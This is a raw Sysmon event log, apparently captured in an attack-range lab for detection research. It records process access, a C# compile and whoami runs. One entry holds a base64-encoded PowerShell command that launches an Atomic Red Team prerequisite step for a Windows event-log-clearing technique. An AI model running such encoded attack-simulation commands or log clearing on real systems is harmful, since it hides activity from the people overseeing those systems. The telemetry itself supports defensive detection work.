09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004043Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004042Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004041Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-291D-5F80-CE00-000000007F01}4704C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004040Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004039Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.595{A5F018FF-291D-5F80-CD00-000000007F01}11681180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-291D-5F80-CE00-000000007F01}4704C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004038Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.599{A5F018FF-291D-5F80-CE00-000000007F01}4704C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8BEF.tmp" "c:\Users\Administrator\AppData\Local\Temp\keawkpkh\CSCF457E464EB774A0E8757A517489D505E.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-291D-5F80-CD00-000000007F01}1168C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\keawkpkh\keawkpkh.cmdline" 10341000x80000000000000004037Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291D-5F80-CD00-000000007F01}1168C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004036Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004035Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004034Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004033Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004032Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004031Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004030Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004029Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004028Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004027Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-291D-5F80-CD00-000000007F01}1168C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004026Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-291C-5F80-CA00-000000007F01}48324308C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291D-5F80-CD00-000000007F01}1168C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c242b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c18d9|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+0(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+0(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbf99dc|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd57b5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5486|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9e686aeb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9db9601c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbf44eb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd79e1 154100x80000000000000004025Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.537{A5F018FF-291D-5F80-CD00-000000007F01}1168C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\keawkpkh\keawkpkh.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA 11241100x80000000000000004024Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.532{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\keawkpkh\keawkpkh.cmdline2020-10-09 09:10:53.532 11241100x80000000000000004023Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:53.532{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\keawkpkh\keawkpkh.dll2020-10-09 09:10:53.532 10341000x80000000000000004022Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291D-5F80-CC00-000000007F01}5012C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004021Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004020Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 